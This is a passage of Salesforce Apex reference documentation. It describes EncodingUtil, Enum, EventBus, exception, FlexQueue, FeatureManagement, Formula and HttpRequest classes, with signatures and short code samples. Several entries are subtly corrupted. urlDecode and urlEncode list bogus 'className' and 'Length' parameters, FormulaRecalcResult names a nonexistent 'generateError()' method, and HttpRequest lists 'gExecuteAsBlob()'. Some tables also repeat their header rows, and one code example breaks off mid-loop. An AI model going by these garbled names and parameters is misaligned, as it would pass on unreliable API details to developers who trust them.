- `InvalidParameterValueException` — the `inputString` contains invalid hexadecimal characters or doesn’t contain an even number of characters.

**Example**
```
Blob blobValue = EncodingUtil.convertFromHex('4A4B4C');
System.assertEquals('JKL', blobValue.toString());
```

**convertToHex(inputBlob)**
Returns a hexadecimal (base 16) representation of the `inputBlob`. This method can be used to compute the client response (for example, HA1 or HA2) for HTTP Digest Authentication (RFC2617).

**Signature**
```
public static String convertToHex(Blob inputBlob)
```

**Parameters**

*inputBlob*
Type: *Blob*

**Return Value**
Type: *String*
urlDecode(inputString, encodingScheme)
Decodes a string in application/x-www-form-urlencoded format using a specific encoding scheme, for example “UTF-8.”

Signature

public static String urlDecode(String inputString, String encodingScheme)

Parameters

inputString
Type: String

className
Type: String

Length
1

Return Value

Type: String

Usage

This method uses the supplied encoding scheme to determine which characters are represented by any consecutive sequence of the form \"%xy\". For more information about the format, see The form-urlencoded Media Type in Hypertext Markup Language - 2.0.

urlEncode(inputString, encodingScheme)
Encodes a string into the application/x-www-form-urlencoded format using a specific encoding scheme, for example “UTF-8.”

Signature

public static String urlEncode(String inputString, String encodingScheme)

Parameters

inputString
Type: String

className
Type: String

Length
1

Return Value

Type: String

Usage

This method uses the supplied encoding scheme to obtain the bytes for unsafe characters. For more information about the format, see The form-urlencoded Media Type in Hypertext Markup Language - 2.0.
Example

```java
String encoded = EncodingUtil.urlEncode(url, 'UTF-8');
```

**Enum Methods**

An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Apex provides built-in enums, such as `LoggingLevel`, and you can define your own enum.

All Apex enums, whether user-defined enums or built-in enums, have the following common method that takes no arguments.

- `values`
  This method returns the values of the Enum as a list of the same Enum type.

Each Enum value has the following methods that take no arguments.

- `name`
  Returns the name of the Enum item as a String.

- `ordinal`
  Returns the position of the item, as an Integer, in the list of Enum values starting with zero.

Enum values cannot have user-defined methods added to them.

For more information about Enum, see Enums on page 35.

Example

```java
Integer i = StatusCode.DELETE_FAILED.ordinal();
String s = StatusCode.DELETE_FAILED.name();
List<StatusCode> values = StatusCode.values();
```

**EventBus Class**

Contains methods for publishing platform events.

**Namespace**

`System`

IN THIS SECTION:

- EventBus Methods

SEE ALSO:

- Platform Events Developer Guide: Publishing Platform Events

**EventBus Methods**

The following are methods for `EventBus`. All methods are static.
getOperationId(result)
Returns the UUID of the asynchronous event publishing operation based on the passed-in SaveResult. Use this UUID to correlate the asynchronous publishing result sent on the /event/PublishStatusEvent channel.

publish(event)
Publishes the given platform event.

publish(events)
Publishes the given list of platform events.

getOperationId(result)
Returns the UUID of the asynchronous event publishing operation based on the passed-in SaveResult. Use this UUID to correlate the asynchronous publishing result sent on the /event/PublishStatusEvent channel.

Signature
public static String getOperationId(Object result)

Parameters
result
Type: Object
The SaveResult that is returned by the EventBus.publish call.

Return Value
Type: String

publish(event)
Publishes the given platform event.

Signature
public static Database.SaveResult publish(SObject event)

Parameters
event
Type: SObject
An instance of a platform event. For example, an instance of MyEvent__e. You must first define your platform event object in your org.

Return Value
Type: Database.SaveResult
The result of publishing the given event. Database.SaveResult contains information about whether the operation was successful and the errors encountered. If the isSuccess() method returns true, the publish request is queued in Salesforce and the event
message is published asynchronously. For more information, see High-Volume Platform Event Persistence. If isSuccess() returns false, the event publish operation resulted in errors, which are returned in the Database.Error object. This method doesn’t throw an exception due to an unsuccessful publish operation.

Database.SaveResult also contains the `Id` system field. The `Id` field value isn’t included in the event message delivered to subscribers. It isn’t used to identify an event message, and isn’t always unique.

Usage
- The platform event message is published either immediately or after a transaction is committed, depending on the publish behavior you set in the platform event definition. For more information, see Platform Event Fields in the Platform Events Developer Guide.
- Apex governor limits apply. For events configured with the Publish After Commit behavior, each method execution is counted as one DML statement against the Apex DML statement limit. You can check limit usage using the Apex Limits.getDMLStatements() on page 3246 method. For events configured with the Publish Immediately behavior, each method execution is counted against a separate event publishing limit of 150 EventBus.publish() calls. You can check limit usage using the Apex Limits.getPublishImmediateDML() on page 3249 method.

`publish(events)`

Publishes the given list of platform events.

Signature

```
public static List<Database.SaveResult> publish(List<SObject> events)
```

Parameters

- **events**
  - Type: List<SObject>
  - A list of platform event instances. For example, a list of `MyEvent__e` objects. You must first define your platform event object in your Salesforce org.

Return Value

- Type: List<Database.SaveResult>

  A list of results, each corresponding to the result of publishing one event. For each event, Database.SaveResult contains information about whether the operation was successful and the errors encountered. If the isSuccess() method returns true, the publish request is queued in Salesforce and the event message is published asynchronously. For more information, see High-Volume Platform Event Persistence. If isSuccess() returns false, the event publish operation resulted in errors, which are returned in the Database.Error object. EventBus.publish() can publish some passed-in events, even when other events can’t be published due to errors. The EventBus.publish() method doesn’t throw exceptions caused by an unsuccessful publish operation. It’s similar in behavior to the Apex Database.insert method when called with the partial success option.

Database.SaveResult also contains the `Id` system field. The `Id` field value isn’t included in the event message delivered to subscribers. It isn’t used to identify an event message, and isn’t always unique.

Usage

- The platform event message is published either immediately or after a transaction is committed, depending on the publish behavior you set in the platform event definition. For more information, see Platform Event Fields in the Platform Events Developer Guide.
Apex governor limits apply. For events configured with the Publish After Commit behavior, each method execution is counted as one DML statement against the Apex DML statement limit. You can check limit usage using the Apex Limits.getDMLStatements() on page 3246 method. For events configured with the Publish Immediately behavior, each method execution is counted against a separate event publishing limit of 150 EventBus.publish() calls. You can check limit usage using the Apex Limits.getPublishImmediateDML() on page 3249 method.

Exception Class and Built-In Exceptions

An exception denotes an error that disrupts the normal flow of code execution. You can use Apex built-in exceptions or create custom exceptions. All exceptions have common methods.

All exceptions support built-in methods for returning the error message and exception type. In addition to the standard exception class, there are several different types of exceptions:

The following are exceptions in the System namespace.

<table>
<thead>
<tr>
<th>Exception</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>AsyncException</td>
<td>Any problem with an asynchronous operation, such as failing to enqueue an asynchronous call.</td>
</tr>
<tr>
<td>BigObjectException</td>
<td>Any problem with big object records, such as connection timeouts during attempts to access or insert big object records.</td>
</tr>
<tr>
<td>CalloutException</td>
<td>Any problem with a Web service operation, such as failing to make a callout to an external system.</td>
</tr>
<tr>
<td>DmlException</td>
<td>Any problem with a DML statement, such as an insert statement missing a required field on a record.</td>
</tr>
<tr>
<td>EmailException</td>
<td>Any problem with email, such as failure to deliver. For more information, see Outbound Email.</td>
</tr>
<tr>
<td>ExternalObjectException</td>
<td>Any problem with external object records, such as connection timeouts during attempts to access the data that’s stored on external systems.</td>
</tr>
<tr>
<td>IllegalArgumentException</td>
<td>An illegal argument was provided to a method call. For example, a method that requires a non-null argument throws this exception if a null value is passed into the method.</td>
</tr>
<tr>
<td>InvalidParameterValueException</td>
<td>An invalid parameter was supplied for a method or any problem with a URL used with Visualforce pages. For more information on Visualforce, see the Visualforce Developer’s Guide.</td>
</tr>
<tr>
<td>LimitException</td>
<td>A governor limit has been exceeded. This exception can’t be caught.</td>
</tr>
<tr>
<td>JSONException</td>
<td>Any problem with JSON serialization and deserialization operations. For more information, see the methods of System.JSON, System.JSONParser, and System.JSONGenerator.</td>
</tr>
<tr>
<td>ListException</td>
<td>Any problem with a list, such as attempting to access an index that is out of bounds.</td>
</tr>
<tr>
<td>MathException</td>
<td>Any problem with a mathematical operation, such as dividing by zero.</td>
</tr>
<tr>
<td>NoAccessException</td>
<td>Any problem with unauthorized access, such as trying to access an sObject that the current user doesn’t have access to. This exception is used with Visualforce pages. For more information on Visualforce, see the Visualforce Developer’s Guide.</td>
</tr>
<tr>
<td>Exception</td>
<td>Description</td>
</tr>
<tr>
<td>-------------------------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>NoDataFoundException</td>
<td>Any problem with data that doesn’t exist, such as trying to access an sObject that has been deleted. This exception is used with Visualforce pages. For more information on Visualforce, see the Visualforce Developer’s Guide.</td>
</tr>
<tr>
<td>NoSuchElementException</td>
<td>This exception is thrown if you try to access items that are outside the bounds of a list. This exception is used by the Iterator next method. For example, if iterator.hasNext() == false and you call iterator.next(), this exception is thrown. This exception is also used by the Apex Flex Queue methods and is thrown if you attempt to access a job at an invalid position in the flex queue.</td>
</tr>
<tr>
<td>NullPointerException</td>
<td>Any problem with dereferencing null, such as in the following code:</td>
</tr>
<tr>
<td></td>
<td>```java</td>
</tr>
<tr>
<td></td>
<td>String s;</td>
</tr>
<tr>
<td></td>
<td>s.toLowerCase(); // Since s is null, this call causes // a NullPointerException</td>
</tr>
<tr>
<td>QueryException</td>
<td>Any problem with SOQL queries, such as assigning a query that returns no records or more than one record to a singleton sObject variable.</td>
</tr>
<tr>
<td>RequiredFeatureMissing</td>
<td>A Chatter feature is required for code that has been deployed to an organization that doesn’t have Chatter enabled.</td>
</tr>
<tr>
<td>SearchException</td>
<td>Any problem with SOSL queries executed with SOAP API search() call, for example, when the searchString parameter contains fewer than two characters. For more information, see the SOAP API Developer Guide.</td>
</tr>
<tr>
<td>SecurityException</td>
<td>Any problem with static methods in the Crypto utility class. For more information, see Crypto Class.</td>
</tr>
<tr>
<td>SerializationException</td>
<td>Any problem with the serialization of data. This exception is used with Visualforce pages. For more information on Visualforce, see the Visualforce Developer’s Guide.</td>
</tr>
<tr>
<td>SObjectException</td>
<td>Any problem with sObject records, such as attempting to change a field in an update statement that can only be changed during insert.</td>
</tr>
<tr>
<td>StringException</td>
<td>Any problem with Strings, such as a String that is exceeding your heap size.</td>
</tr>
<tr>
<td>TypeException</td>
<td>Any problem with type conversions, such as attempting to convert the String 'a' to an Integer using the valueOf method.</td>
</tr>
<tr>
<td>VisualforceException</td>
<td>Any problem with a Visualforce page. For more information on Visualforce, see the Visualforce Developer’s Guide.</td>
</tr>
<tr>
<td>XmlException</td>
<td>Any problem with the XmlStream classes, such as failing to read or write XML.</td>
</tr>
</tbody>
</table>

The following is an example using the DmlException exception:

```java
Account[] accts = new Account[] { new Account(billingcity = 'San Jose')};
try {
    insert accts;
} catch (System.DmlException e) {
    for (Integer i = 0; i < e.getNumDml(); i++) {

```
For exceptions in other namespaces, see:

- Cache Exceptions
- Canvas Exceptions
- ConnectApi Exceptions
- DataSource Exceptions
- Reports Exceptions
- Site Exceptions

### Common Exception Methods

Exception methods are all called by and operate on an instance of an exception. This table describes all instance exception methods. All types of exceptions have these methods in common.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getCause</td>
<td></td>
<td>Exception</td>
<td>Returns the cause of the exception as an exception object.</td>
</tr>
<tr>
<td>getLineNumber</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the line number from where the exception was thrown.</td>
</tr>
<tr>
<td>getMessage</td>
<td>String</td>
<td>String</td>
<td>Returns the error message that displays for the user.</td>
</tr>
<tr>
<td>getStackTraceString</td>
<td></td>
<td>String</td>
<td>Returns the stack trace as a string.</td>
</tr>
<tr>
<td>getTypeName</td>
<td>String</td>
<td>String</td>
<td>Returns the type of exception, such as DmlException, ListException, MathException, and so on.</td>
</tr>
<tr>
<td>initCause</td>
<td>Exception cause</td>
<td>Void</td>
<td>Sets the cause for this exception, if one hasn't already been set.</td>
</tr>
<tr>
<td>setMessage</td>
<td>String s</td>
<td>Void</td>
<td>Sets the error message that displays for the user.</td>
</tr>
</tbody>
</table>

### DMLException and EmailException Methods

In addition to the common exception methods, DMLExceptions and EmailExceptions have these methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getDmlFieldNames</td>
<td>Integer i</td>
<td>String []</td>
<td>Returns the names of the field or fields that caused the error described by the $i^{th}$ failed row.</td>
</tr>
<tr>
<td>getDmlFields</td>
<td>Integer i</td>
<td>Schema.sObjectField []</td>
<td>Returns the field token or tokens for the field or fields that caused the error described by the $i^{th}$ failed row. For more information on field tokens, see Dynamic Apex.</td>
</tr>
<tr>
<td>getDmlId</td>
<td>Integer i</td>
<td>String</td>
<td>Returns the ID of the failed record that caused the error described by the $i^{th}$ failed row.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>---------------------</td>
<td>-----------------</td>
<td>---------------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>getDmlIndex</td>
<td>Integer i</td>
<td>Integer</td>
<td>Returns the original row position of the $i^{th}$ failed row.</td>
</tr>
<tr>
<td>getDmlMessage</td>
<td>Integer i</td>
<td>String</td>
<td>Returns the user message for the $i^{th}$ failed row.</td>
</tr>
<tr>
<td>getDmlStatusCode</td>
<td>Integer i</td>
<td>String</td>
<td>Deprecated. Use getDmlType instead. Returns the Apex failure code for the $i^{th}$ failed row.</td>
</tr>
<tr>
<td>getDmlType</td>
<td>Integer i</td>
<td>System.StatusCode</td>
<td>Returns the value of the System.StatusCode enum. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>try {</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>insert new Account();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>} catch (System.DmlException ex) {</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>System.assertEquals(</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>StatusCode.REQUIRED_FIELD_MISSING,</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>ex.getDmlType(0));</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>}</td>
</tr>
<tr>
<td>getNumDml</td>
<td>Integer</td>
<td>Integer</td>
<td>Returns the number of failed rows for DML exceptions.</td>
</tr>
</tbody>
</table>

**FlexQueue Class**

Contains methods that reorder batch jobs in the Apex flex queue.

**Namespace**

System

**Usage**

You can place up to 100 batch jobs in a holding status for future execution. When system resources become available, the jobs are taken from the top of the Apex flex queue and moved to the batch job queue. Up to five queued or active jobs can be processed simultaneously for each org. When a job is moved out of the flex queue for processing, its status changes from Holding to Queued. Queued jobs are executed when the system is ready to process new jobs.

Use this class’s methods to reorder your Holding jobs in the flex queue.

**Example**

This example moves a job in the flex queue so that it is executed immediately before the specified job in the queue. Ensure that you have jobs in the flex queue before execution. To move the job, call the System.FlexQueue.moveBeforeJob() method and pass it both jobs’ IDs.

```java
ID jobToMoveId = System.enqueueJob(new MyQueueableClass());
AsyncApexJob a = [SELECT Id FROM AsyncApexJob WHERE ApexClassId IN
  (SELECT Id from ApexClass WHERE NamespacePrefix = null
  AND Name = 'MyBatchClass')];
```
ID jobInQueueId = a.ID;
Boolean isSuccess = FlexQueue.moveBeforeJob(jobToMoveId, jobInQueueId);

IN THIS SECTION:
FlexQueue Methods

SEE ALSO:
Monitoring the Apex Flex Queue
Using Batch Apex

FlexQueue Methods

The following are methods for FlexQueue.

IN THIS SECTION:
moveAfterJob(jobToMoveId, jobInQueueId)
Moves the job with the ID jobToMoveId immediately after the job with the ID jobInQueueId in the flex queue. You can move jobToMoveId forward or backward in the queue. If either job isn’t in the queue, it throws an element-not-found exception. Returns true if the job is moved, or false if jobToMoveId is already immediately after jobInQueueId, so no change is made.

moveBeforeJob(jobToMoveId, jobInQueueId)
Moves the job with the ID jobToMoveId immediately before the job with the ID jobInQueueId in the flex queue. You can move jobToMoveId forward or backward in the queue. If either job isn’t in the queue, it throws an element-not-found exception. Returns true if the job is moved, or false if jobToMoveId is already immediately before jobInQueueId, so no change is made.

moveJobToEnd(jobId)
Moves the specified job the end of the flex queue, to index position (size - 1). All jobs after the job’s starting position move one spot forward. If the job isn’t in the queue, it throws an element-not-found exception. Returns true if the job is moved, or false if the job is already at the end of the queue, so no change is made.

moveJobToFront(jobId)
Moves the specified job to the front of the flex queue, to index position 0. All other jobs move back one spot. If the job isn’t in the queue, it throws an element-not-found exception. Returns true if the job is moved, or false if the job is already at the front of the queue, so no change is made.

moveAfterJob (jobToMoveId, jobInQueueId)
Moves the job with the ID jobToMoveId immediately after the job with the ID jobInQueueId in the flex queue. You can move jobToMoveId forward or backward in the queue. If either job isn’t in the queue, it throws an element-not-found exception. Returns true if the job is moved, or false if jobToMoveId is already immediately after jobInQueueId, so no change is made.

Signature
public static Boolean moveAfterJob(Id jobToMoveId, Id jobInQueueId)
Parameters

jobToMoveId
Type: Id
The ID of the job to move.

jobInQueueId
Type: Id
The ID of the job to move after.

Return Value
Type: Boolean

moveBeforeJob(jobToMoveId, jobInQueueId)
Moves the job with the ID jobToMoveId immediately before the job with the ID jobInQueueId in the flex queue. You can move jobToMoveId forward or backward in the queue. If either job isn’t in the queue, it throws an element-not-found exception. Returns true if the job is moved, or false if jobToMoveId is already immediately before jobInQueueId, so no change is made.

Signature

public static Boolean moveBeforeJob(Id jobToMoveId, Id jobInQueueId)

Parameters

jobToMoveId
Type: Id
The ID of the job to move.

jobInQueueId
Type: Id
The ID of the job to use as a reference point.

Return Value
Type: Boolean

moveJobToEnd(jobId)
Moves the specified job the end of the flex queue, to index position (size - 1). All jobs after the job’s starting position move one spot forward. If the job isn’t in the queue, it throws an element-not-found exception. Returns true if the job is moved, or false if the job is already at the end of the queue, so no change is made.

Signature

public static Boolean moveJobToEnd(Id jobId)
Parameters

jobId
Type: Id
The ID of the job to move.

Return Value
Type: Boolean

moveJobToFront(jobId)
Moves the specified job to the front of the flex queue, to index position 0. All other jobs move back one spot. If the job isn’t in the queue, it throws an element-not-found exception. Returns true if the job is moved, or false if the job is already at the front of the queue, so no change is made.

Signature
public static Boolean moveJobToFront(Id jobId)

Parameters

jobId
Type: Id
The ID of the job to move.

Return Value
Type: Boolean

FeatureManagement Class
Use the methods in the System.FeatureManagement class to check and modify the values of feature parameters, and to show or hide custom objects and custom permissions in your subscribers’ orgs.

Namespace
System

Usage
For information about feature parameters, see “Get Started with the Feature Management App” in the ISVforce Guide.

IN THIS SECTION:
FeatureManagement Methods

FeatureManagement Methods
The following are methods for FeatureManagement.
IN THIS SECTION:

changeProtection(apiName, typeApiName, protection)
Hides or reveals custom permissions, or reveals custom objects, in your subscriber's org.

checkPackageBooleanValue(apiName)
Checks the value__c value of the FeatureParameterBoolean__c record for a feature parameter in your subscriber's org. You set the record's value using setPackageBooleanValue(apiName, value).

checkPackageDateValue(apiName)
Checks the value__c value of the FeatureParameterDate__c record for a feature parameter in your subscriber's org. You can set the record's value using setPackageDateValue(apiName, value).

checkPackageIntegerValue(apiName)
Checks the value__c value of the FeatureParameterInteger__c record for a feature parameter in your subscriber's org. You can set the record's value using setPackageIntegerValue(apiName, value).

checkPermission(apiName)
Checks whether a custom permission is enabled.

setPackageBooleanValue(apiName, value)
Sets the value__c value of the FeatureParameterBoolean__c record for a subscriber-to-LMO feature parameter in your subscriber's org. You can check the record's value using checkPackageBooleanValue(apiName).

setPackageDateValue(apiName, value)
Sets the value__c value of the FeatureParameterDate__c record for a subscriber-to-LMO feature parameter in your subscriber's org. You can check the record's value using checkPackageDateValue(apiName).

setPackageIntegerValue(apiName, value)
Sets the value__c value of the FeatureParameterInteger__c record for a subscriber-to-LMO feature parameter in your subscriber's org. You can check the record's value using checkPackageIntegerValue(apiName).

 changeProtection(apiName, typeApiName, protection)  
Hides or reveals custom permissions, or reveals custom objects, in your subscriber's org.

Signature

public static void changeProtection(String apiName, String typeApiName, String protection)

Parameters

apiName
Type: String
The API name of the custom object or custom permission to show or hide—for example, 'MyCustomObject__c' or 'MyCustomPermission'.

typeApiName
Type: String
The API name of the type that you want to show or hide: 'CustomObject' or 'CustomPermission'.

protection
Type: String
To show a custom object or custom permission, "Unprotected".
To hide a custom permission, "Protected".

Return Value
Type: void

Usage
⚠️ Warning: For custom permissions, you can toggle the protected value indefinitely. However, after you’ve released unprotected objects to subscribers, you can’t set visibility to Protected. Be sure to protect any custom objects that you want to hide before you release the first package version that contains them.

To hide custom permissions in released packages:

```
FeatureManagement.changeProtection('YourCustomPermissionName', 'CustomPermission', 'Protected');
```

To unhide custom permissions and custom objects in released packages:

```
FeatureManagement.changeProtection('YourCustomPermissionName', 'CustomPermission', 'Unprotected');
```

```
FeatureManagement.changeProtection('YourCustomObjectName__c', 'CustomObject', 'Unprotected');
```

`checkPackageBooleanValue(apiName)`

Checks the value__c value of the FeatureParameterBoolean__c record for a feature parameter in your subscriber’s org. You set the record’s value using `setPackageBooleanValue(apiName, value)`.

Signature

```
public static Boolean checkPackageBooleanValue(String apiName)
```

Parameters

- `apiName`  
  Type: String  
  The fullName__c value of the feature parameter whose value you want to check—for example, 'SpecialAccessAvailable'.

Return Value

Type: Boolean

The value that’s currently assigned to the value__c field on the FeatureParameterBoolean__c record that associates the feature parameter with its related license.
checkPackageDateValue (apiName)
Checks the value__c value of the FeatureParameterDate__c record for a feature parameter in your subscriber's org. You can set the record's value using setPackageDateValue(apiName, value).

Signature
public static Date checkPackageDateValue(String apiName)

Parameters
apiName
Type: String
The fullName__c value of the feature parameter whose value you want to check—for example, 'TrialExpirationDate'.

Return Value
Type: Date
The value that's currently assigned to the value__c field on the FeatureParameterDate__c record that associates the feature parameter with its related license.

checkPackageIntegerValue (apiName)
Checks the value__c value of the FeatureParameterInteger__c record for a feature parameter in your subscriber's org. You can set the record's value using setPackageIntegerValue(apiName, value).

Signature
public static Integer checkPackageIntegerValue(String apiName)

Parameters
apiName
Type: String
The fullName__c value of the feature parameter whose value you want to check—for example, 'NumberOfLicenses'.

Return Value
Type: Integer
The value that's currently assigned to the value__c field on the FeatureParameterInteger__c record that associates the feature parameter with its related license.

checkPermission (apiName)
Checks whether a custom permission is enabled.

Signature
public static Boolean checkPermission(String apiName)
Parameters

`apiName`
Type: `String`

The API name of the custom permission to check the value of—for example, 'MyCustomPermission'.

Return Value
Type: `Boolean`

Shows whether the permission is enabled (`true`) or disabled (`false`).

`setPackageBooleanValue(apiName, value)`

Sets the `value__c` value of the `FeatureParameterBoolean__c` record for a subscriber-to-LMO feature parameter in your subscriber's org. You can check the record's value using `checkPackageBooleanValue(apiName)`.

Signature

```java
public static void setPackageBooleanValue(String apiName, Boolean value)
```

Parameters

`apiName`
Type: `String`

The `fullName__c` value of the feature parameter whose value you want to set—for example, 'SpecialAccessAvailable'.

`value`
Type: `Boolean`

The value to assign to the `value__c` field on the `FeatureParameterBoolean__c` record that associates the feature parameter with its related license.

Return Value
Type: `void`

`setPackageDateValue(apiName, value)`

Sets the `value__c` value of the `FeatureParameterDate__c` record for a subscriber-to-LMO feature parameter in your subscriber's org. You can check the record's value using `checkPackageDateValue(apiName)`.

Signature

```java
public static void setPackageDateValue(String apiName, Date value)
```

Parameters

`apiName`
Type: `String`

The `fullName__c` value of the feature parameter whose value you want to set—for example, 'TrialExpirationDate'.

3169
value
Type: Date

The value to assign to the value__c field on the FeatureParameterDate__c record that associates the feature parameter with its related license.

Return Value
Type: void

setPackageIntegerValue(apiName, value)

Sets the value__c value of the FeatureParameterInteger__c record for a subscriber-to-LMO feature parameter in your subscriber's org. You can check the record's value using checkPackageIntegerValue(apiName).

Signature

public static void setPackageIntegerValue(String apiName, Integer value)

Parameters

apiName
Type: String

The fullName__c value of the feature parameter whose value you want to set—for example, 'NumberOfLicenses'.

value
Type: Integer

The value to assign to the value__c field on the FeatureParameterInteger__c record that associates the feature parameter with its related license.

Return Value
Type: void

Formula Class

Contains the recalculateFormulas method that updates (recalculates) all formula fields on the input SObjects.

Namespace

System

Usage

Recalculate formula fields on new or queried SObjects. If all data is present on the SObjects, SOQL limits are not affected. If the data required to evaluate a formula field is missing, that data is loaded and limits are changed accordingly.

The new formula values are stored in the SObjects themselves and overwrite previous values of formula fields.
Example

```java
Account a = new Account();
a.Name = 'Salesforce';
a.BillingCity = 'San Francisco';
List<Account> accounts = new List<Account>{a};

List<FormulaRecalcResult> results = Formula.recalculateFormulas(accounts);
System.assert(results[0].isSuccess());
// Option 1
System.debug('New value: ' + accounts[0].get('My_Formula_Field__c'));
// Option 2
System.debug('New value: ' + results[0].getSObject().get('My_Formula_Field__c'));
```

IN THIS SECTION:

Formula Methods

Formula Methods
The following are methods for Formula.

IN THIS SECTION:

- `recalculateFormulas(sobjects)`
  Updates (recalculates) all formula fields on the input SObjects.

`recalculateFormulas(sobjects)`
Updates (recalculates) all formula fields on the input SObjects.

Signature

```java
public static List<System.FormulaRecalcResult> recalculateFormulas(List<SObject> sobjects)
```

Parameters

- `sobjects`
  Type: List<SObject>
  List of sObjects whose formula fields are to be recalculated.

Return Value

Type: List<FormulaRecalcResult Class>

FormulaRecalcFieldError Class
The return type of the FormulaRecalcResult.getErrors method.
### Namespace

**System**

### IN THIS SECTION:

- FormulaRecalcFieldError Methods

### FormulaRecalcFieldError Methods

The following are methods for `FormulaRecalcFieldError`.

### IN THIS SECTION:

- `getFieldError()`
  Returns a message describing the errors encountered during formula recalculation.

- `getFieldName()`
  Returns the name of the formula recalculation error field.

#### `getFieldError()`

Returns a message describing the errors encountered during formula recalculation.

**Signature**

```java
public String getFieldError()
```

**Return Value**

*Type: String*

#### `getFieldName()`

Returns the name of the formula recalculation error field.

**Signature**

```java
public String getFieldName()
```

**Return Value**

*Type: String*

### FormulaRecalcResult Class

The return type of the `Formula.recalculateFormulas` method.

### Namespace

**System**

3172
Usage

Indicates the result and status of recalculating formulas on a single sObject. Holds a reference to the sObject and a list of all the fields that were recalculated.

Example

This example assumes that you have a formula field called divide__c with formula "1 / LEN(Name).

```java
List<Account> accounts = [SELECT Name FROM Account WHERE Name='Acme'];
accounts[0].Name = '';
List<FormulaRecalcResult> results = Formula.recalculateFormulas(accounts);
FormulaRecalcResult result0 = results[0];
FormulaRecalcFieldError fieldError = result0.getErrors()[0];
System.debug(fieldError.getFieldName()); // 'divide'
System.debug(fieldError.getFieldError()); // 'Division by zero'
```

IN THIS SECTION:

FormulaRecalcResult Methods

FormulaRecalcResult Methods

The following are methods for FormulaRecalcResult.

IN THIS SECTION:

getErrors()

If an error occurs during formula recalculation, an array of one or more database error objects, along with error codes and descriptions, is returned.

generateError()

Returns the sObject with formulas recalculated.

isSuccess()

Returns a Boolean value that is set to true if the formula recalculation process completed successfully; otherwise, it is set to false.

getErrors()

If an error occurs during formula recalculation, an array of one or more database error objects, along with error codes and descriptions, is returned.

Signature

public List<System.FormulaRecalcFieldError> getErrors()

Return Value

Type: List<FormulaRecalcFieldError Class>

generateError()

Returns the sObject with formulas recalculated.
public SObject getSObject()

Return Value
Type: SObject

isSuccess()
Returns a Boolean value that is set to true if the formula recalculation process completed successfully; otherwise, it is set to false.

public Boolean isSuccess()

Return Value
Type: Boolean

Http Class
Use the Http class to initiate an HTTP request and response.

Namespace
System

Http Methods
The following are methods for Http. All are instance methods.

IN THIS SECTION:
  send(request)
  Sends an HttpRequest and returns the response.
  toString()
  Returns a string that displays and identifies the object’s properties.

send(request)
Sends an HttpRequest and returns the response.

Signature
public HttpResponse send(HttpRequest request)

Parameters
request
  Type: System.HttpRequest
Return Value
Type: System.HttpResponse

**toString()**
Returns a string that displays and identifies the object’s properties.

Signature
```
public String toString()
```

Return Value
Type: String

**HttpCalloutMock Interface**
Enables sending fake responses when testing HTTP callouts.

**Namespace**
System

**Usage**
For an implementation example, see Testing HTTP Callouts by Implementing the HttpCalloutMock Interface.

**HttpCalloutMock Methods**
The following are methods for HttpCalloutMock.

**IN THIS SECTION:**
- **respond(request)**
  Returns an HTTP response for the given request. The implementation of this method is called by the Apex runtime to send a fake response when an HTTP callout is made after Test.setMock has been called.

**respond(request)**
Returns an HTTP response for the given request. The implementation of this method is called by the Apex runtime to send a fake response when an HTTP callout is made after Test.setMock has been called.

Signature
```
public HttpResponse respond(HttpRequest request)
```

Parameters
```
request
  Type: System.HttpRequest
```
Return Value
Type: System.HttpResponse

HttpRequest Class
Use the HttpRequest class to programmatically create HTTP requests like GET, POST, PATCH, PUT, and DELETE.

Namespace
System

Usage
Use the XML classes or JSON classes to parse XML or JSON content in the body of a request created by HttpRequest.

Example
The following example illustrates how you can use an authorization header with a request and handle the response.

```java
public class AuthCallout {

    public void basicAuthCallout(){
        HttpRequest req = new HttpRequest();
        req.setEndpoint('http://www.yahoo.com');
        req.setMethod('GET');

        // Specify the required user name and password to access the endpoint
        // As well as the header and header information
        String username = 'myname';
        String password = 'mypwd';
        Blob headerValue = Blob.valueOf(username + ':' + password);
        String authorizationHeader = 'Basic ' + EncodingUtil.base64Encode(headerValue);
        req.setHeader('Authorization', authorizationHeader);

        // Create a new http object to send the request object
        // A response object is generated as a result of the request
        Http http = new Http();
        HTTPResponse res = http.send(req);
        System.debug(res.getBody());
    }
}
```

Note: You can set the endpoint as a named credential URL. A named credential URL contains the scheme callout:, the name of the named credential, and an optional path. For example: callout:My_Named_Credential/some_path. A named credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. Salesforce manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t have to. See Named Credentials as Callout Endpoints on page 531.
Compression

To compress the data you send, use `setCompressed`.

```java
HttpRequest req = new HttpRequest();
req.setEndPoint('my_endpoint');
req.setCompressed(true);
req.setBody('some post body');
```

If a response comes back in compressed format, `getBody` recognizes the format, uncompresses it, and returns the uncompressed value.

SEE ALSO:
- JSON Support
- XML Support

HttpRequest Constructors

The following are constructors for `HttpRequest`.

HttpRequest()

Creates a new instance of the `HttpRequest` class.

HttpRequest()()

Creates a new instance of the `HttpRequest` class.

HttpRequest Methods

The following are methods for `HttpRequest`. All are instance methods.

getBody()

Retrieves the body of this request.

gExecuteAsBlob()

Retrieves the body of this request as a Blob.
getBodyDocument()  
Retrieves the body of this request as a DOM document.

getCompressed()  
If true, the request body is compressed, false otherwise.

getEndpoint()  
Retrieves the URL for the endpoint of the external server for this request.

getHeader(key)  
Retrieves the contents of the request header.

getMethod()  
Returns the type of method used by HttpRequest.

setBody(body)  
Sets the contents of the body for this request.

setBodyAsBlob(body)  
